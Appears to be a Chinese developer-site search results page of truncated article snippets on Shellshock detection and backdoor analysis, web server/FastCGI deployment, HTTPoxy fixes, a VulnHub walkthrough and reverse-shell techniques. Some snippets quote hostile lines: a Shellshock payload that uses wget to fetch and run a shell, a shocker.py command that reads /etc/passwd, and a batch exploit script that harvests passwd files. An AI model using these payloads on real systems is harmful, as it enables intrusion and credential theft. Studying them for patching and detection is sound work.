首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Bash漏洞批量检测工具与修复方案

脚本会将结果回显出来 如果存在漏洞的话还会把passwd文件保存在以目标域名+output命名的txt文档里,不成功不保存 执行方法 python c:\exp.py -url http://23.239.208.105.../cgi-bin/poc.cgi 批量检测是否存在Bash远程命令执行漏洞 #!.../pan.baidu.com/s/1sjBFWhn 该脚本调用了上面那个EXP 所以请运行该脚本时请将两个脚本放同一目录 并在该目录下新建target.txt文件将您的目标列表放进文件里 如: http...://www.baidu.com http://23.239.208.105/cgi-bin/poc.cgi 然后运行该脚本即可 该脚本便会自动按顺序检测 会把结果回显出来 并会把成功的目标的passwd...curl命令 个别报错报CURL命令错误的是CURL版本问题,不是我脚本问题,我这边多个基友都测试了无误 漏洞修复方案 请您根据Linux版本选择您需要修复的命令, 为了防止意外情况发生,建议您执行命令前先对

1.1K100
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Django + Uwsgi + Nginx 的生产环境部署

    Web协议介绍: Web协议出现顺序: CGI -> FCGI -> WSGI -> uwsgi CGI: 最早的协议 FCGI: 比CGI快 WSGI: Python专用的协议 uwsgi: 比FCGI...nginx接收到浏览器发送过来的http请求,将包进行解析,分析url 静态文件请求:就直接访问用户给nginx配置的静态文件目录,直接返回用户请求的静态文件 动态接口请求:那么nginx就将请求转发给...readline-devel tk-devel libffi-devel gcc make # 3、在官网下载所需版本,这里用的是3.7.0版本 wget https://www.python.org.../configure --enable-optimizations # 执行该代码后,会编译安装到 /usr/local/bin/ 下,且不用添加软连接或环境变量 make && make install.../bin/pip3 #3、将/usr/local/python3/bin加入PATH [root@linux-node1 testProj]# vim /etc/profile #然后在文件末尾添加

    11.3K82

    PHP安装包TS和NTS的区别-Centos7 LANMP环境搭建(最完善版本)

    而如果以PHP-FPM(比如搭配Nginx或者Apache的mod_fastcgi) 或者PHP-CGI(比如搭配Apache的mod_fcgid或者Win上的IIS)来运行PHP,则一般都不需要TS...CGI 的跨平台性能极佳,几乎可以在任何操作系统上实现。 CGI方式在遇到连接请求(用户 请求)先要创建cgi的子进程,激活一个CGI进程,然后处理请求,处理完后结束这个子进程。...而采用FAST-CGI 解释器的 话,当一个请求执行完毕后不会注销该进程,而是将改进程进入休眠期,当接收到新的请求时,重新启用改进程进行处理。...modules/mod_proxy.so LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so # 接受到php页面请求时,交给php引擎解释,而不是下载页面...,也不是一个目录,则执行一下重写规则 if (!

    2.5K10

    Linux渗透之Shellshock后门

    [TOC] 0x00 前言 描述:Shellshock又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,2014年9月24日Bash被公布存在远程代码执行漏洞,最初认为该漏洞只是本地漏洞...漏洞原理: Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令...修复方案: (1).针对RedHat、CentOS Liunx发行版本,请执行: yum -y update bash (2).针对Debian Liunx发行版本,请执行: sudo apt-get...,这无疑为利用者带来了极大的便利,利用代码如下: #而该样本通过wget将样本下载并执行命令如下: (){:;}; /usr/bin/wget xxxx/shell1 -O /tmp/shell| /...,如CPU,网络配置等信息 WeiyiGeek. (2).接着该样本连接自己的服务器(89.238.150.154:5),strace附加在创建的子进程样本上监视其行为如下 WeiyiGeek.

    1.4K20

    如何保护您的服务器免受HTTPoxy漏洞的影响

    在类似CGI或CGI的环境中运行:将客户端标头转换为带HTTP_前缀的环境变量的部署很容易受到攻击。任何兼容的CGI或FastCGI等相关协议的实现都可以做到这一点。...此外,该getenv方法在流行的库中的广泛使用放大了这个问题,因为不能立即清楚这将返回未经过处理的用户输入,而不仅仅是配置变量。...使用CGI部署时发现易受攻击的其他语言是Python和Go。这些语言通常使用其他非易受攻击的方法进行部署。...Ubuntu和Debian服务器 在Ubuntu和Debian服务器上,FastCGI参数通常包含在设置FastCGI代理时的文件fastcgi_params或fastcgi.conf文件中。...和Fedora服务器 Nginx的在CentOS和Fedora也使用相同fastcgi_params和fastcgi.conf文件来配置FastCGI的代理。

    1.7K00

    Linux渗透之Shellshock后门

    [TOC] 0x00 前言 描述:Shellshock又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,2014年9月24日Bash被公布存在远程代码执行漏洞,最初认为该漏洞只是本地漏洞...漏洞原理: Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令...修复方案: (1).针对RedHat、CentOS Liunx发行版本,请执行: yum -y update bash (2).针对Debian Liunx发行版本,请执行: sudo apt-get...,这无疑为利用者带来了极大的便利,利用代码如下: #而该样本通过wget将样本下载并执行命令如下: (){:;}; /usr/bin/wget xxxx/shell1 -O /tmp/shell| /...WeiyiGeek. (2).接着该样本连接自己的服务器(89.238.150.154:5),strace附加在创建的子进程样本上监视其行为如下 ?

    1.8K00

    CentOS6下使用Apache部署HTTP服务

    ,然后交给php解释器执行,随后再把执行后的数据经过CGI处理,最后把结果由服务端发送给客户端,这里的CGI就是起到了静态请求和动态请求的转换接口。...每次从服务器下载文件的时候都需要建立一次TCP连接,如果为Off,下载完毕后会断开此次TCP连接;如果为On,下载完毕后会继续保持此次TCP连接。        ...,而实际上/var/www/html/icons目录下并没有文件  在/etc/httpd/conf/httpd.conf主配置文件中默认存在这些指令,首先要在/var/www/html/目录下创建icons.../xxx "实际目录"    和Alias类似,只不过该实际目录下存放的是具有执行能力的文件 例如:ScriptAlias /cgi-bin/ "/var/www/cgi-bin/" 七、基于用户(组.../ 错误信息所在目录 /var/www/icons/ Apache的一些图标都存放在该目录下 /var/www/cgi-bin/ 可执行的网页程序放置的目录 /usr/sbin/httpd 二进制执行文件

    1.4K20

    Apache Httpd服务器之基础教程

    请确保APR,APR-Util,PCRE以及ZLIB都是最新的版本,尽量不要用yum库里的版本,因为如果你的操作系统不是最新的版本,比如你的操作系统为CentOS 5,那么当你使用yum安装APR时,就会安装到老版本的...APR及APR-Util的下载地址在http://apr.apache.org上,在这里你可以下载到APR 1.5.1及APR-Util 1.5.4。...下面就简单的介绍下我们的httpd配置文件。     httpd的配置文件分为全局和容器两个部分,在容器外的配置指令即为全局指令,在整个配置文件范围内均有效,而容器内的指令,则只在容器范围内有效。...一是允许显示目录列表,二是禁止.htaccess文件覆盖配置,三是允许所有用户访问该目录,也就是说只要uri映射到此目录,则就可以将内容返回给用户。...Options下的ExecCGI选项表示,该目录下可以执行CGI脚本。配置完后重启服务器,然后就可以愉快的进行动态内容的访问了。

    1K20

    星球优秀成员作品 | 『VulnHub系列』symfonos: 3-Walkthrough

    访问http://192.168.0.110/cgi-bin/underworld/login.php ? 下图是我在kali里面执行uptime命令的结果,是不是跟上图中的格式一模一样。...上面几个都试过了之后还是没有什么发现,基本上就要去目录中“扫荡”了 查看了/home目录下的两个用户文件夹,没有什么发现 /tmp目录下发现了一个ELF可执行文件ykdwB,要是分析这个可执行文件那就难为我了...它使您可以查看其他用户执行的命令,cron作业等。非常适合枚举CTF中的Linux系统。很好地向您的同事展示为什么在命令行中将秘密作为参数传递是一个坏主意。 该工具从procfs扫描中收集信息。...放置在文件系统选定部分上的Inotify观察程序将触发这些扫描,以捕获短暂的进程。...在靶机上使用python开启HTTP服务,将ftp.pcap下载到kali使用wireshark进行分析 ?

    1.4K20

    FastCGI的认识与使用

    CGI 1.1 什么是CGI 通用网关接口(Common Gateway Interface、CGI)描述了客户端和服务器程序之间传输数据的一种标准,可以让一个客户端,从网页浏览器向执行在网络服务器上的程序请求数据...这些进程由FastCGI进程管理器管理,而不是web服务器 2.2 FastCGI处理流程 Web 服务器启动时载入初始化FastCGI执行环境。...它的速度效率最少要比CGI 技术提高 5 倍以上。它还支持分布式的部署,即FastCGI 程序可以在web 服务器以外的主机上执行。...其中Nginx就支持FastCGI代理,接收客户端的请求,然后将请求转发给后端FastCGI进程。 由于FastCGI进程由FastCGI进程管理器管理,而不是Nginx。...,默认为5(仅用于PHP) -P 指定产生的进程的PID文件路径 -F 指定产生的FastCGI的进程数(C的CGI用这个) -u和-g FastCGI 使用什么身份(-u用户、-g用户组)运行,CentOS

    3.1K40

    Nginx运行FastCGI程序(ngx_http_fastcgi_module模块、fcgi库、spwan-fcgi进程管理器)

    一、什么是CGI 通用网关接口(Common Gateway Interface、CGI)描述了客户端和服务器程序之间传输数据的一种标准,可以让一个客户端,从网页浏览器向执行在网络服务器上的程序请求数据...Unix shell script、Python、Ruby、PHP、perl、Tcl、C/C++ 和 Visual Basic 都可以用来编写 CGI 程序 最初,CGI 是在 1993 年由美国国家超级电脑应用中心...: cgi是一个请求(一个客户端)对应一个进程,一个请求来时就创建一个cgi进程,请求结束后销毁该cgi进程 FasiCGI就是在后端申请一个进程池,请求来了之后从进程池中取进程,而不用每次创建销毁...其中 Nginx 就支持FastCGI代理,接收客户端的请求,然后将请求转发给后端FastCGI进程 由于FastCGI进程由FastCGI进程管理器管理,而不是Nginx。...,在shell中Tab缩进不是4字符 八、编程演示案例 让Nginx运行FastCGI程序的工作原理大致为: 第一步:先编写一个FastCGI程序(例如名为demo.c),然后将其编译为一个可执行程序

    2.7K20

    Linux下终端实现文件上传与反弹

    [TOC] 文件上传下载 (1) rz/sz 命令 描述:Debian里Kail中上传rz命令和下载sz命令可能需要专门的SSH连接工具才能使用; sz 文件名.txt #下载的文件...rz c:\filename.txt #上传windows下会弹出选择框让您选择文件 (2) scp 命令 描述:scp依赖于ssh通道进行文件上传和下载 #上传到远程 scp localfile.txt...(3) sftp 命令 描述:sftp(SSH File Transfer Protocol-安全文件传送协议)也是依赖于SSH是它的一部分;采用sftp命令来登录sshd服务进行文件上传下载,可以看作是...get /path/filename(远端主机) /path/filename(本地主机) 命令示例: 1) 交换式命令使用说明 # 示例1.采用密匙来登录到指定的sftp服务器上并下载文件或目录到本地...> put /tmp/weiyigeek.pdf /var/www/html/ ---- 常用反弹脚本 描述:在渗透测试中常常需要进行反弹Shell来证明该漏洞的危害,所以再Linux/Windows(

    2.3K30

    Linux下终端实现文件上传与反弹

    [TOC] 文件上传下载 (1) rz/sz命令 描述:Debian里Kail中上传rz命令和下载sz命令可能需要专门的SSH连接工具才能使用; sz 文件名.txt #下载的文件...rz c:\filename.txt #上传windows下会弹出选择框让您选择文件 (2) scp命令 描述:scp依赖于ssh通道进行文件上传和下载 #上传到远程 scp localfile.txt...filename(远端主机) /path/filename(本地主机) 常用反弹脚本 描述:在渗透测试中常常需要进行反弹Shell来证明该漏洞的危害,所以再Linux/Windows(不单独罗列了)中出现以下的方式方法...测试环境: AttackIP:Kail 192.168.200.252 ClientIP:Centos 192.168.200.200 BASH反弹Shell 方式1: /bin/bash -i.../shocker.py -H 192.168.1.1 --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose # 查看文件 $ echo

    3.6K40

    学习Python必须知道的关键点

    通过pickle模块的序列化操作我们能够将程序中运行的对象信息保存到文件中去,永久存储。 通过pickle模块的反序列化操作,我们能够从文件中创建上一次程序保存的对象。...当你使用pip下载和安装Python包时,它会将包和依赖项保存到缓存目录中,以便下次使用时可以直接从缓存中获取,而不需要重新下载。...Python 列表是引用传递 在Python中,如果将一个列表作为参数传递给函数,并在函数内部修改该列表,会影响函数外部的列表。...这是因为在Python中,列表是可变对象,传递给函数的是列表对象的引用,而不是列表对象的副本。因此,对列表对象的任何修改都会影响到原始列表对象。...CGI文件的扩展名为.cgi,python也可以使用.py扩展名。

    57151

    这十个Python实战项目,让你瞬间读懂Python!

    (过滤器)都单独的写成了一个类,而不是用if..else来区分。...通过浏览器直接访问cgi文件,由web服务器执行cgi脚本,输出内容到浏览器。...而没有固定的从哪个点到哪个点,所有的点都可以相连。 因此在下载东西方面,这样的协议就比传统的只是从某一点下载数据要快很多,资源也会多很多。...大家在使用迅雷下载东西的时候肯定注意过里面有一项资源:x/xx这样的东西,我觉得,前面的那个x的意思表示当为你提供资源的节点数量,后面的那个xx表示,所有拥有该资源的节点数目,这些节点可能并不在线。...fetch B.txt,然后到A文件夹下查看一下,看是不是把B.txt下载到你的文件夹中了。

    9.7K33
    领券